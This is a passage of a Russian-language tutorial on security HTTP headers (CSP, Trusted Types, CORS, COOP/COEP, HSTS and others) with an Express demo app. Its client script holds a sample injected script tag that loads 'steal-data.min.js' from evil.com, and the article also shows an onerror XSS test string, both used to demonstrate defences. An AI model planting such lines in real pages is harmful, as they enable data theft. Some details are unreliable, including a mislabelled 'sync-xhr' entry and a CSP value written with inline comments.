
Доброго времени суток, друзья!
В этой статье я хочу поделиться с вами результатами небольшого исследования, посвященного HTTP-заголовкам, которые связаны с безопасностью веб-приложений (далее — просто заголовки).
Сначала мы с вами кратко разберем основные виды уязвимостей веб-приложений, существующие в вебе, а также основные виды атак, основанные на этих уязвимостях. Далее мы рассмотрим все современные заголовки, каждый — по отдельности. Это в теоретической части статьи.
В практической части мы реализуем простое Express-приложение, развернем его на Heroku
и оценим безопасность с помощью WebPageTest
и Security Headers
. Также, учитывая большую популярность сервисов для генерации статических сайтов, мы настроим и развернем приложение с аналогичным функционалом на Netlify
.
Исходный код приложений находится здесь.
Демо Heroku-приложения можно посмотреть здесь, а Netlify-приложения — здесь.
Основными источниками истины при подготовке настоящей статьи для меня послужили следующие ресурсы:
- Security headers quick reference — Google Developers
- OWASP Secure Headers Project
- Web security — MDN
Заголовки безопасности
Все заголовки условно можно разделить на три группы.
Заголовки для сайтов, на которых обрабатываются чувствительные (sensitive) данные пользователей
Content Security Policy (CSP)
;Trusted Types
.
Заголовки для всех сайтов
X-Content-Type-Options
;X-Frame-Options
;Cross-Origin Resource Policy (CORP)
;Cross-Origin Opener Policy (COOP)
;HTTP Strict Transport Security (HSTS)
.
Заголовки для сайтов с продвинутыми возможностями
Под продвинутыми возможностями в данном случае понимается возможность использования ресурсов сайта другими источниками (origins) или возможность встраивания или внедрения (embedding) сайта в другие приложения. Первое относится к сервисам вроде CDN
(Content Delivery Network — сеть доставки и дистрибуции содержимого), второе к сервисам вроде песочниц — специально выделенные (изолированные) среды для выполнения кода. Под источником понимается протокол, хост, домен и порт.
Cross-Origin Resource Sharing (CORS)
;Cross-Origin Embedder Policy (COEP)
.
Угрозы безопасности, существующие в вебе
Защита сайта от внедрения кода (injection vulnerabilities)
Угрозы, связанные с возможностью внедрения кода, возникают, когда непроверенные данные, обрабатываемые приложением, могут оказывать влияние на поведение приложения. В частности, это может привести к выполнению скриптов, управляемых атакующим (принадлежащих ему). Наиболее распространенным видом атаки, связанной с внедрением кода, является межсайтовый скриптинг (Cross-Site Scripting, XSS; к слову, сокращение XSS
было выбрано во избежание путаницы с CSS
) в различных формах, включая отраженные или непостоянные XSS
(reflected XSS), хранимые или постоянные XSS
(stored XSS), XSS
, основанные на DOM
(DOM XSS) и т.д.
XSS
может предоставить атакующему полный доступ к пользовательским данным, которые обрабатываются приложением, и к другой информации в пределах источника.
Традиционными способами защиты от XSS
являются: автоматическое экранирование шаблонов HTML
с помощью специальных инструментов, отказ от использования небезопасных JavaScript API
(например, eval()
или innerHTML
), хранение данных пользователей в другом источнике и обезвреживание или обеззараживание (sanitizing) данных, поступающих от пользователей, например, через заполнение ими полей формы.
Рекомендации
- используйте
CSP
для определения того, какие скрипты могут выполняться в вашем приложении; - используйте
Trusted Types
для обезвреживания данных, передаваемых в небезопасныеAPI
; - используйте
X-Content-Type-Options
для предотвращения неправильной интерпретации браузером MIME-типов загружаемых ресурсов.
Изоляция сайта
Открытость веба позволяет сайтам взаимодействовать друг с другом способами, которые могут привести к нарушениям безопасности. Это включает в себя отправку "неожиданных" запросов на аутентификацию или загрузку данных из приложения в документ атакующего, что позволяет последнему читать или даже модифицировать эти данные.
Наиболее распространенными уязвимостями, связанными с общей доступностью приложения, являются кликджекинг (clickjacking), межсайтовая подделка запросов (Cross-Site Request Forgery, XSRF), межсайтовое добавление или включение скриптов (Cross-Site Script Inclusion, XSSI) и различные утечки информации между источниками.
Рекомендации
- используйте
X-Frame-Options
для предотвращения встраивания вашего документа в другие приложения; - используйте
CORP
для предотвращения возможности использования ресурсов вашего сайта другими источниками; - используйте
COOP
для защиты окон (windows) вашего приложения от взаимодействия с другими приложениями; - используйте
CORS
для управления доступом к ресурсам вашего сайта из других источников.
Безопасность сайтов со сложным функционалом
Spectre
делает любые данные, загруженные в одну и ту же группу контекста просмотра (browsing context group), потенциально общедоступными, несмотря на правило ограничения домена. Браузеры ограничивают возможности, которые могут привести к нарушению безопасности с помощью среды выполнения кода под названием "межсайтовая изоляция" (Cross-Origin Isolation). Это, в частности, позволяет безопасно использовать такие мощные возможности, как SharedArrayBuffer
.
Рекомендации
- используйте
COEP
совместно сCOOP
для обеспечения межсайтовой изоляции вашего приложения.
Шифрование исходящего трафика
Недостаточное шифрование передаваемых данных может привести к тому, что атакующий, в случае перехвата этих данных, получит информацию о взаимодействии пользователей с приложением.
Неэффективное шифрование может быть обусловлено следующим:
- использование
HTTP
вместоHTTPS
; - смешанный контент (когда одни ресурсы загружаются по
HTTPS
, а другие — поHTTP
); - куки без атрибута
Secure
или соответствующего префикса (также имеет смысл определять настройкуHttpOnly
); - слабая политика
CORS
.
Рекомендации
- используйте
HSTS
для обслуживания всего контента вашего приложения черезHTTPS
.
Перейдем к рассмотрению заголовков.
Content Security Policy (CSP)
XSS
— это атака, когда уязвимость, существующая на сайте, позволяет атакующему внедрять и выполнять свои скрипты. CSP
предоставляет дополнительный слой для отражения таких атак посредством ограничения скриптов, которые могут выполняться на странице.
Инженеры из Google
рекомендуют использовать строгий режим CSP
. Это можно сделать одним из двух способов:
- если HTML-страницы рендерятся на сервере, следует использовать основанный на случайном значении (nonce-based)
CSP
; - если разметка является статической или доставляется из кеша, например, в случае, когда приложение является одностраничным (
SPA
), следует использовать основанный на хеше (hash-based)CSP
.
Пример использования nonce-based CSP:
Content-Security-Policy: script-src 'nonce-{RANDOM1}' 'strict-dynamic' https: 'unsafe-inline'; object-src 'none'; base-uri 'none';
Использование CSP
Обратите внимание: CSP
является дополнительной защитой от XSS-атак, основная защита состоит в обезвреживании данных, вводимых пользователем.
1. Nonce-based CSP
nonce
— это случайное число, которое используется только один раз. Если у вас нет возможности генерировать такое число для каждого ответа, тогда лучше использовать hash-based CSP.
Генерируем nonce
на сервере для скрипта в ответ на каждый запрос и устанавливаем следующий заголовок:
Content-Security-Policy: script-src 'nonce-{RANDOM1}' 'strict-dynamic' https: 'unsafe-inline'; object-src 'none'; base-uri 'none';
Затем в разметке устанавливаем каждому тегу script
атрибут nonce
со значением строки {RANDOM1}
:
<script nonce="{RANDOM1}" src="https://example.com/script1.js"></script> <script nonce="{RANDOM1}"> // ... </script>
Хорошим примером использования nonce-based CSP является сервис Google Фото
.
2. Hash-based CSP
Сервер:
Content-Security-Policy: script-src 'sha256-{HASH1}' 'sha256-{HASH2}' 'strict-dynamic' https: 'unsafe-inline'; object-src 'none'; base-uri 'none';
В данном случае можно использовать только встроенные скрипты, поскольку большинство браузеров в настоящее время не поддерживает хеширование внешних скриптов.
<script> // встроенный script1 </script> <script> // встроенный script2 </script>
CSP Evaluator
— отличный инструмент для оценки CSP
.
Заметки:
https:
— это резервный вариант дляFirefox
, аunsafe-inline
— для очень старых браузеров;- директива
frame-ancestors
защищает сайт от кликджекинга, запрещая другим сайтам использовать контент вашего приложения.X-Frame-Options
является более простым решением, ноframe-ancestors
позволяет выполнять тонкую настройку разрешенных источников; CSP
можно использовать для обеспечения загрузки всех ресурсов поHTTPS
. Это не слишком актуально, поскольку в настоящее время большинство браузеров блокирует смешанный контент;CSP
можно использовать в режиме только для чтения (report-only mode);CSP
может быть установлен в разметке как мета-тег.
В рассматриваемом заголовке можно использовать следующие директивы:
Директива | Описание |
---|---|
base-uri | Определяет базовый URI для относительных |
default-src | Определяет политику загрузки ресурсов всех типов при отсутствии специальной директивы (политику по умолчанию) |
script-src | Определяет скрипты, которые могут выполняться на странице |
object-src | Определяет, откуда могут загружаться ресурсы — плагины |
style-src | Определяет стили, которые могут применяться на странице |
img-src | Определяет, откуда могут загружаться изображения |
media-src | Определяет, откуда могут загружаться аудио и видеофайлы |
child-src | Определяет, откуда могут загружаться фреймы |
frame-ancestors | Определяет, где (в каких источниках) ресурс может загружаться во фреймы |
font-src | Определяет, откуда могут загружаться шрифты |
connect-src | Определяет разрешенные URI |
manifest-src | Определяет, откуда могут загружаться файлы манифеста |
form-action | Определяет, какие URI могут использоваться для отправки форм (в атрибуте action ) |
sandbox | Определяет политику песочницы (sandbox policy) HTML , которую агент пользователя применяет к защищенному ресурсу |
script-nonce | Определяет, что для выполнения скрипта требуется наличие уникального значения |
plugin-types | Определяет набор плагинов, которые могут вызываться защищенным ресурсом посредством ограничения типов встраиваемых ресурсов |
reflected-xss | Используется для активации/деактивации эвристических методов браузера для фильтрации или блокировки отраженных XSS-атак |
block-all-mixed-content | Запрещает загрузку смешанного контента |
upgrade-insecure-requests | Определяет, что небезопасные ресурсы (загружаемые по HTTP ) должны загружаться по HTTPS |
report-to | Определяет группу (указанную в заголовке Report-To ), в которую отправляются отчеты о нарушениях политики |
Возможные значения директив для нестрогого режима CSP
:
'self'
— ресурсы могут загружаться только из данного источника;'none'
— запрет на загрузку ресурсов;*
— ресурсы могут загружаться из любого источника;example.com
— ресурсы могут загружаться только изexample.com
.
Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src example.com
В данном случае изображения могут быть загружены из любого источника, другие медиафайлы — только с media1.com
и media2.com
(исключая их поддомены), скрипты — только с example.com
.
Trusted Types
XSS
, основанный на DOM
— это атака, когда вредоносный код передается в приемник, который поддерживает динамическое выполнение кода, такой как eval()
или innerHTML
.
Trusted Types
предоставляет инструменты для создания, модификации и поддержки приложений, полностью защищенных от DOM XSS
. Этот режим может быть включен через CSP
. Он делает JavaScript-код безопасным по умолчанию посредством ограничения значений, принимаемых небезопасными API
, специальным объектом — Trusted Type
.
Для создания таких объектов можно определить политики, которые проверяют соблюдение правил безопасности (таких как экранирование и обезвреживание) перед записью данных в DOM
. Затем эти политики помещаются в код, который может представлять интерес для DOM XSS
.
Пример использования
Включаем Trusted Types
для опасных приемников DOM
:
Content-Security-Policy: require-trusted-types-for 'script'
В настоящее время единственным доступным значением директивы require-trusted-types-for
является script
.
Разумеется, Trusted Types
можно комбинировать с другими директивами CSP
:
Content-Security-Policy: script-src 'nonce-{RANDOM1}' 'strict-dynamic' https: 'unsafe-inline'; object-src 'none'; base-uri 'none'; require-trusted-types-for 'script';
C помощью директивы trusted-types
можно ограничить пространство имен для политик Trusted Types
, например, trusted-types myPolicy
.
Определяем политику:
// проверяем поддержку if (window.trustedTypes && trustedTypes.createPolicy) { // создаем политику const policy = trustedTypes.createPolicy('escapePolicy', { createHTML: (str) => str.replace(/\</g, '<').replace(/>/g, '>') }) }
Применяем политику:
// будет выброшено исключение el.innerHTML = 'some string' // ок const escaped = policy.createHTML('<img src=x onerror=alert(1)>') el.innerHTML = escaped // '<img src=x onerror=alert(1)>'
Директива require-trusted-types-for 'script'
делает использование доверенного типа обязательным. Любая попытка использовать строку в небезопасном API
завершится ошибкой.
Подробнее о Trusted Types
можно почитать здесь.
X-Content-Type-Options
Когда вредоносный HTML-документ обслуживается вашим доменом (например, когда изображение, загружаемое в сервис хранения фотографий, содержит валидную разметку), некоторые браузеры могут посчитать его активным документом и разрешить ему выполнять скрипты в контексте приложения.
X-Content-Type-Options: nosniff
заставляет браузер проверять корректность MIME-типа в заголовке полученного ответа Content-Type
. Рекомендуется устанавливать такой заголовок для всех загружаемых ресурсов.
X-Content-Type-Options: nosniff Content-Type: text/html; charset=utf-8
X-Frame-Options
Если вредоносный сайт будет иметь возможность встраивать ваше приложение как iframe
, это может предоставить атакующему возможность вызывать непреднамеренные действия пользователей через кликджекинг. В некоторых случаях это также позволяет атакующему изучать содержимое документа.
X-Frame-Options
является индикатором того, должен ли ваш сайт рендериться в <frame>,
<iframe>
, <embed>
или <object>
.
Для того, чтобы разрешить встраивание только определенных страниц сайта, используется директива frame-ancestors
заголовка CSP
.
Примеры использования
Полностью запрещаем внедрение:
X-Frame-Options: DENY
Разрешаем создание фреймов только на собственном сайте:
X-Frame-Options: SAMEORIGIN
Обратите внимание: по умолчанию все документы являются встраиваемыми.
Cross-Origin-Resource-Policy (CORP)
Атакующий может внедрить ресурсы вашего сайта в свое приложение с целью получения информации о вашем сайте.
CORP
определяет, какие сайты могут внедрять ресурсы вашего приложения. Данный заголовок принимает 1 из 3 возможных значений: same-origin
, same-site
и cross-origin
.
Для сервисов вроде CDN
рекомендуется использовать значение cross-origin
, если для них не определен соответствующий заголовок CORS
.
Cross-Origin-Resource-Policy: cross-origin
same-origin
разрешает внедрение ресурсов страницами, принадлежащими к одному источнику. Данное значение применяется в отношении чувствительной информации о пользователях или ответов от API
, которые рассчитаны на использование в пределах данного источника.
Обратите внимание: ресурсы все равно будут доступны для загрузки, поскольку CORP
ограничивает только внедрение этих ресурсов в другие источники.
Cross-Origin-Resource-Policy: same-origin
same-site
предназначен для ресурсов, которые используются не только доменом (как в случае с same-origin
), но и его поддоменами.
Cross-Origin-Resource-Policy: same-site
Cross-Origin-Opener-Policy (COOP)
Если сайт атакующего может открывать другой сайт в поп-апе (всплывающем окне), то у атакующего появляется возможность для поиска межсайтовых источников утечки информации. В некоторых случаях это также позволяет реализовать атаку с использованием побочных каналов, описанную в Spectre
.
Заголовок Cross-Origin-Opener-Policy
позволяет запретить открытие сайта с помощью метода window.open()
или ссылки target="_blank"
без rel="noopener"
. Как результат, у того, кто попытается открыть сайт такими способами, не будет ссылки на сайт, и он не сможет с ним взаимодействовать.
Значение same-origin
рассматриваемого заголовка позволяет полностью запретить открытие сайта в других источниках.
Cross-Origin-Opener-Policy: same-origin
Значение same-origin-allow-popups
также защищает документ от открытия в поп-апах других источников, но позволяет приложению взаимодействовать с собственными попапами.
Cross-Origin-Opener-Policy: same-origin-allow-popups
unsafe-none
является значением по умолчанию, оно разрешает открытие сайта в виде поп-апа в других источниках.
Cross-Origin-Opener-Policy: unsafe-none
Мы можем получать отчеты от COOP
:
Cross-Origin-Opener-Policy: same-origin; report-to="coop"
COOP
также поддерживает режим report-only
, позволяющий получать отчеты о нарушениях без их блокировки.
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop"
Cross-Origin Resource Sharing (CORS)
CORS
— это не заголовок, а механизм, используемый браузером для предоставления доступа к ресурсам приложения.
По умолчанию браузеры используют политику одного источника или общего происхождения, которая запрещает доступ к таким ресурсам из других источников. Например, при загрузке изображения из другого источника, даже несмотря на его отображение на странице, JavaScript-код не будет иметь к нему доступа. Провайдер ресурса может предоставить такой доступ через настройку CORS
с помощью двух заголовков:
Access-Control-Allow-Origin: https://example.com Access-Control-Allow-Credentials: true
Использование CORS
Начнем с того, что существует два типа HTTP-запросов. В зависимости от деталей запроса он может быть классифицирован как простой или сложный (запрос, требующий отправки предварительного запроса).
Критериями простого запроса является следующее:
- методом запроса является
GET
,HEAD
илиPOST
; - кастомными заголовками могут быть только
Accept
,Accept-Language
,Content-Language
иContent-Type
; - значением заголовка
Content-Type
может быть толькоapplication/x-www-form-urlencoded
,multipart/form-data
илиtext/plain
.
Все остальные запросы считаются сложными.
Простой запрос
В данном случае браузер отправляет запрос к другому источнику с заголовком Origin
, значением которого является источник запроса:
Get / HTTP/1.1 Origin: https://example.com
Ответ:
Access-Control-Allow-Origin: https://example.com Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://example.com
означает, чтоhttps://example.com
имеет доступ к содержимому ответа. Если значением данного заголовка является*
, ресурсы будут доступны любому сайту. В этом случае полномочия (credentials) не требуются;Access-Control-Allow-Credentials: true
означает, что запрос на получение ресурсов должен содержать полномочия (куки). При отсутствии полномочий в запросе, даже при наличии источника в заголовкеAccess-Control-Allow-Origin
, запрос будет отклонен.
Сложный запрос
Перед сложным запросом выполняется предварительный. Он выполняется методом OPTIONS
для определения того, может ли быть отправлен основной запрос:
OPTIONS / HTTP/1.1 Origin: https://example.com Access-Control-Request-Method: POST Access-Control-Request-Headers: X-PINGOTHER, Content-Type
Access-Control-Request-Method: POST
— последующий запрос будет отправлен методомPOST
;Access-Control-Request-Headers: X-PINGOTHER, Content-Type
— последующий запрос будет отправлен с заголовкамиX-PINGOTHER
иContent-Type
.
Ответ:
Access-Control-Allow-Origin: https://example.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: X-PINGOTHER, Content-Type Access-Control-Max-Age: 86400
Access-Control-Allow-Methods: POST, GET, OPTIONS
— последующий запрос может выполняться указанными методами;Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
— последующий запрос может содержать указанные заголовки;Access-Control-Max-Age: 86400
— результат сложного запроса будет записан в кеш и будет там храниться на протяжении 86400 секунд.
Cross-Origin-Embedder-Policy (COEP)
Для предотвращения кражи ресурсов из других источников с помощью атак, описанных в Spectre
, такие возможности, как SharedArrayBuffer
, performance.measureUserAgentSpecificMemory()
или JS Self Profiling API
, по умолчанию отключены.
Cross-Origin-Embedder-Policy: require-corp
запрещает документам и воркерам (workers) загружать изображения, скрипты, стили, фреймы и другие ресурсы до тех пор, пока доступ к ним не разрешен с помощью заголовков CORS
или CORP
. COEP
может использоваться совместно с COOP
для настройки межсайтовой изоляции документа.
На данный момент require-corp
является единственным доступным значением рассматриваемого заголовка, кроме unsafe-none
, которое является значением по умолчанию.
Полная межсайтовая изоляция приложения
Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin
Изоляция с отчетами о блокировках
Cross-Origin-Embedder-Policy: require-corp; report-to="coep"
Только отчеты
Cross-Origin-Embedder-Policy-Report-Only: require-corp; report-to="coep"
HTTP Strict Transport Security (HSTS)
Данные, передаваемые по HTTP
, не шифруются, что делает их доступными для перехватчиков на уровне сети.
Заголовок Strict-Transport-Security
запрещает использование HTTP
. При наличии данного заголовка браузер будет использовать HTTPS
без перенаправления на HTTP
(при отсутствии ресурса по HTTPS
) в течение указанного времени (max-age
).
Strict-Transport-Security: max-age=31536000
Директивы
max-age
— время в секундах, в течение которого браузер должен "помнить", что сайт доступен только поHTTPS
;includeSubDomains
— распространяет политику на поддомены.
Другие заголовки
Referrer-Policy
Заголовок Referrer-Policy
определяет содержание информации о реферере, указываемой в заголовке Referer
. Заголовок Referer
содержит адрес запроса, например, адрес предыдущей страницы, или адрес загруженного изображения, или другого ресурса. Он используется для аналитики, логирования, оптимизации кеша и т.д. Однако он также может использоваться для слежения или кражи информации, выполнения побочных эффектов, приводящих к утечке чувствительных пользовательских данных и т.д.
Referrer-Policy: no-referrer
Возможные значения
Значение | Описание |
---|---|
no-referrer | Заголовок Referer не включается в запрос |
no-referrer-when-downgrade | Значение по умолчанию. Реферер указывается при выполнении запроса между HTTPS и HTTPS , но не указывается при выполнении запроса между HTTPS и HTTP |
origin | Указывается только источник запроса (например, реферером документа https://example.com/page.html будет https://example.com ) |
origin-when-cross-origin | При выполнении запроса в пределах одного источника указывается полный URL , иначе указывается только источник (как в предыдущем примере) |
same-origin | При выполнении запроса в пределах одного источника указывается источник, в противном случае, реферер не указывается |
strict-origin | Похоже на no-referrer-when-downgrade , но указывается только источник |
strict-origin-when-cross-origin | Сочетание strict-origin и origin-when-cross-origin |
unsafe-url | Всегда указывается полный URL |
Обратите внимание: данный заголовок не поддерживается мобильным Safari
.
Clear-Site-Data
Заголовок Clear-Site-Data
запускает очистку хранящихся в браузере данных (куки, хранилище, кеш), связанных с источником. Это предоставляет разработчикам контроль над данными, локально хранящимися в браузере пользователя. Данный заголовок может использоваться, например, в процессе выхода пользователя из приложения (logout) для очистки данных, хранящихся на стороне клиента.
Clear-Site-Data: "*"
Возможные значения:
Значение | Описание |
---|---|
"cache" | Сообщает браузеру, что сервер хочет очистить локально кешированные данные для источника ответа на запрос |
"cookies" | Сообщает браузеру, что сервер хочет удалить все куки для источника. Данные для аутентификации также будут очищены. Это влияет как на сам домен, так и на его поддомены |
"storage" | Сообщает браузеру, что сервер хочет очистить все хранилища браузера (localStorage , sessionStorage , IndexedDB , регистрация сервис-воркеров — для каждого зарегистрированного СВ вызывается метод unregister() , AppCache , WebSQL , данные FileSystem API , данные плагинов) |
"executionContexts" | Сообщает браузеру, что сервер хочет перезагрузить все контексты браузера (в настоящее время почти не поддерживается) |
"*" | Сообщает браузеру, что сервер хочет удалить все данные |
Обратите внимание: данный заголовок не поддерживается Safari
.
Permissions-Policy
Данный заголовок является заменой заголовка Feature-Policy
и предназначен для управления доступом к некоторым продвинутым возможностям.
Permissions-Policy: camera=(), fullscreen=*, geolocation=(self "https://example.com" "https://another.example.com")
В данном случае мы полностью запрещаем доступ к камере (видеовходу) устройства, разрешаем доступ к методу requestFullScreen()
(для включения полноэкранного режима воспроизведения видео) для всех, а к информации о местонахождении устройства — только для источников example.com
и another.example.com
.
Возможные директивы
Директива | Описание |
---|---|
accelerometer | Управляет тем, может ли текущий документ собирать информацию об акселерации (проекции кажущегося ускорения) устройства с помощью интерфейса Accelerometer |
ambient-light-sensor | Управляет тем, может ли текущий документ собирать информацию о количестве света в окружающей устройство среде с помощью интерфейса AmbientLightSensor |
autoplay | Управляет тем, может ли текущий документ автоматически воспроизводить медиа, запрошенное через интерфейс HTMLMediaElement |
battery | Определяет возможность использования Battery Status API |
camera | Определяет возможность использования видеовхода устройства |
display-capture | Определяет возможность захвата экрана с помощью метода getDisplayMedia() |
document-domain | Определяет возможность установки document.domain |
encrypted-media | Определяет возможность использования Encrypted Media Extensions API (EME) |
execution-while-not-rendered | Определяет возможность выполнения задач во фреймах без их рендеринга (например, когда они скрыты или их свойство diplay имеет значение none ) |
execution-while-out-of-viewport | Определяет возможность выполнения задач во фреймах, находящихся за пределами области просмотра |
fullscreen | Определяет возможность использования метода requestFullScreen() |
geolocation | Определяет возможность использования Geolocation API |
gyroscope | Управляет тем, может ли текущий документ собирать информацию об ориентации устройства с помощью Gyroscope API |
layout-animations | Определяет возможность показа анимации |
legacy-image-formats | Определяет возможность отображения изображений устаревших форматов |
magnetometer | Управляет тем, может ли текущий документ собирать информацию об ориентации устройства с помощью Magnetometer API |
microphone | Определяет возможность использования аудиовхода устройства |
midi | Определяет возможность использования Web MIDI API |
navigation-override | Определяет возможность управления пространственной навигацией (spatial navigation) механизмами, разработанными автором приложения |
oversized-images | Определяет возможность загрузки и отображения больших изображений |
payment | Определяет возможность использования Payment Request API |
picture-in-picture | Определяет возможность воспроизведения видео в режиме "картинка в картинке" |
publickey-credentials-get | Определяет возможность использования Web Authentication API для извлечения публичных ключей, например, через navigator.credentials.get() |
sync-xhr | Определяет возможность использования WebUSB API |
vr | Определяет возможность использования WebVR API |
wake-lock | Определяет возможность использования Wake Lock API для запрета переключения устройства в режим сохранения энергии |
screen-wake-lock | Определяет возможность использования Screen Wake Lock API для запрета блокировки экрана устройства |
web-share | Определяет возможность использования Web Share API для передачи текста, ссылок, изображений и другого контента |
xr-spatial-tracking | Определяет возможность использования WebXR Device API для взаимодействия с сессией WebXR |
Возможные значения
=()
— полный запрет;=*
— полный доступ;(self "https://example.com")
— предоставление разрешения только указанному источнику.
Спецификация рассматриваемого заголовка находится в статусе рабочего черновика, поэтому его поддержка оставляет желать лучшего:
Перейдем к практической части.
Разработка Express-приложения
Создаем директорию для проекта, переходим в нее и инициализируем проект:
mkdir secure-app cd !$ yarn init -yp # или npm init -y
Формируем структуру проекта:
- public - favicon.png - index.html - style.css - script.js - index.js - .gitignore - ...
Иконку можно найти здесь.
Набросаем какой-нибудь незамысловатый код.
В public/index.html
мы подключаем иконку, стили, скрипт, Google-шрифты, Bootstrap
и Boostrap Icons
через CDN
, создаем элементы для заголовка, даты, времени и кнопок:
<!DOCTYPE html> <html lang="ru"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Secure App</title> <link rel="icon" href="favicon.png" /> <link rel="preconnect" href="https://fonts.googleapis.com" /> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin /> <link href="https://fonts.googleapis.com/css2?family=Montserrat&display=swap" rel="stylesheet" /> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x" crossorigin="anonymous" /> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.5.0/font/bootstrap-icons.css" /> <link rel="stylesheet" href="style.css" /> </head> <body> <div class="container"> <h1>Secure App</h1> <p> <i class="bi bi-calendar"></i> Сегодня <time class="date"></time> </p> <p> <i class="bi bi-clock"></i> Сейчас <time class="time"></time> </p> <div class="buttons"> <button class="btn btn-danger btn-stop">Остановить таймер</button> <button class="btn btn-primary btn-add">Добавить шаблон</button> <button class="btn btn-success btn-get">Получить заголовки</button> </div> </div> <script src="script.js"></script> </body> </html>
Добавляем стили в public/style.css
* { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Montserrat', sans-serif; } body { min-height: 100vh; display: grid; place-content: center; text-align: center; } h1 { margin: 0.5em 0; text-transform: uppercase; font-size: 3rem; } p { font-size: 1.15rem; } .buttons { margin: 0.5em 0; display: flex; flex-direction: column; align-items: center; gap: 0.5em; } button { cursor: pointer; } pre { margin: 0.5em 0; white-space: pre-wrap; text-align: left; }
В public/script.js
мы делаем следующее:
- определяем политику доверенных типов;
- создаем утилиты для получения ссылки на DOM-элемент, форматирования даты и времени и регистрации обработчика (по умолчанию одноразового и запускающего колбэк при возникновении события
click
); - получаем ссылки на DOM-элементы;
- определяем настройки для форматирования даты и времени;
- добавляем дату и время в качестве текстового содержимого соответствующих элементов;
- определяем колбэки для обработчиков: для остановки таймера, добавления HTML-шаблона с потенциально вредоносным кодом и получения HTTP-заголовков;
- регистрируем обработчики.
// политика доверенных типов let policy if (window.trustedTypes && trustedTypes.createPolicy) { policy = trustedTypes.createPolicy('escapePolicy', { createHTML: (str) => str.replace(/\</g, '<').replace(/>/g, '>') }) } // утилиты // для получения ссылки на DOM-элемент const getEl = (selector, parent = document) => parent.querySelector(selector) // для форматирования даты и времени const getDate = (options, locale = 'ru-RU', date = Date.now()) => new Intl.DateTimeFormat(locale, options).format(date) // для регистрации обработчика (по умолчанию одноразового и запускающего колбэк при возникновении события `click`) const on = (el, cb, event = 'click', options = { once: true }) => el.addEventListener(event, cb, options) // DOM-элементы const containerEl = getEl('.container') const dateEl = getEl('.date', containerEl) const timeEl = getEl('.time', containerEl) const stopBtnEl = getEl('.btn-stop', containerEl) const addBtnEl = getEl('.btn-add', containerEl) const getBtnEl = getEl('.btn-get', containerEl) // настройки для даты const dateOptions = { weekday: 'long', day: 'numeric', month: 'long', year: 'numeric' } // настройки для времени const timeOptions = { hour: 'numeric', minute: 'numeric', second: 'numeric' } // добавляем текущую дату в качестве текстового содержимого соответствующего элемента dateEl.textContent = getDate(dateOptions) // добавляем текущее время в качестве текстового содержимого соответствующего элемента каждую секунду const timerId = setInterval(() => { timeEl.textContent = getDate(timeOptions) }, 1000) // колбэки для обработчиков (в каждом колбэке происходит удаление соответствующей кнопки) // для остановки таймера const stopTimer = () => { clearInterval(timerId) stopBtnEl.remove() } // для добавления HTML-шаблона с потенциально вредоносным кодом const addTemplate = () => { const evilTemplate = `<script src="https://evil.com/steal-data.min.js"></script>` // при попытке вставить необезвреженный шаблон будет выброшено исключение // Uncaught TypeError: Failed to execute 'insertAdjacentHTML' on 'Element': This document requires 'TrustedHTML' assignment. containerEl.insertAdjacentHTML('beforeend', policy.createHTML(evilTemplate)) addBtnEl.remove() } // для получения HTTP-заголовков const getHeaders = () => { const req = new XMLHttpRequest() req.open('GET', location, false) req.send(null) const headers = req.getAllResponseHeaders() const preEl = document.createElement('pre') preEl.textContent = headers containerEl.append(preEl) getBtnEl.remove() } // регистрируем обработчики on(stopBtnEl, stopTimer) on(addBtnEl, addTemplate) on(getBtnEl, getHeaders)
Устанавливаем зависимости.
Для продакшна:
yarn add express
Для разработки:
yarn add -D nodemon open-cli
express
— Node.js-фреймворк, упрощающий разработку сервера;nodemon
— утилита для запуска сервера для разработки и его автоматического перезапуска при обновлении соответствующего файла;open-cli
— утилита для автоматического открытия вкладки браузера по указанному адресу.
Определяем в package.json
команды для запуска серверов:
"scripts": { "dev": "open-cli http://localhost:3000 && nodemon index.js", "start": "node index.js" }
Приступаем к реализации сервера.
Справедливости ради следует отметить, что в экосистеме Node.js
имеется специальная утилита для установки HTTP-заголовков, связанных с безопасностью веб-приложений — Helmet
. Шпаргалку по работе с этой утилитой вы найдете здесь.
Также существует специальная утилита для работы с CORS
— Cors
. Шпаргалку по работе с этой утилитой вы найдете здесь.
Большинство заголовков можно определить сразу:
// предотвращаем `MIME sniffing` 'X-Content-Type-Options': 'nosniff', // для старых браузеров, плохо поддерживающих `CSP` 'X-Frame-Options': 'DENY', 'X-XSS-Protection': '1; mode=block', // по умолчанию браузеры блокируют CORS-запросы // дополнительные CORS-заголовки 'Cross-Origin-Resource-Policy': 'same-site', 'Cross-Origin-Opener-Policy': 'same-origin-allow-popups', 'Cross-Origin-Embedder-Policy': 'require-corp', // запрещаем включать информацию о реферере в заголовок `Referer` 'Referrer-Policy': 'no-referrer', // инструктируем браузер использовать `HTTPS` вместо `HTTP` // 31536000 секунд — это 365 дней 'Strict-Transport-Security': 'max-age=31536000; includeSubDomains'
Также добавим заголовок Expect-CT
:
// 86400 секунд — это 1 сутки 'Expect-CT': 'enforce, max-age=86400'
Блокируем доступ к камере, микрофону, информации о местонахождении и Payment Request API
:
'Permissions-Policy': 'camera=(), microphone=(), geolocation=(), payment=()'
Директивы для CSP
:
'Content-Security-Policy': ` // запрещаем загрузку плагинов object-src 'none'; // разрешаем выполнение только собственных скриптов script-src 'self'; // разрешаем загрузку только собственных изображений img-src 'self'; // разрешаем открытие приложения только в собственных фреймах frame-ancestors 'self'; // включаем политику доверенных типов для скриптов require-trusted-types-for 'script'; // блокируем смешанный контент block-all-mixed-content; // инструктируем браузер использовать `HTTPS` для ресурсов, загружаемых по `HTTP` upgrade-insecure-requests `
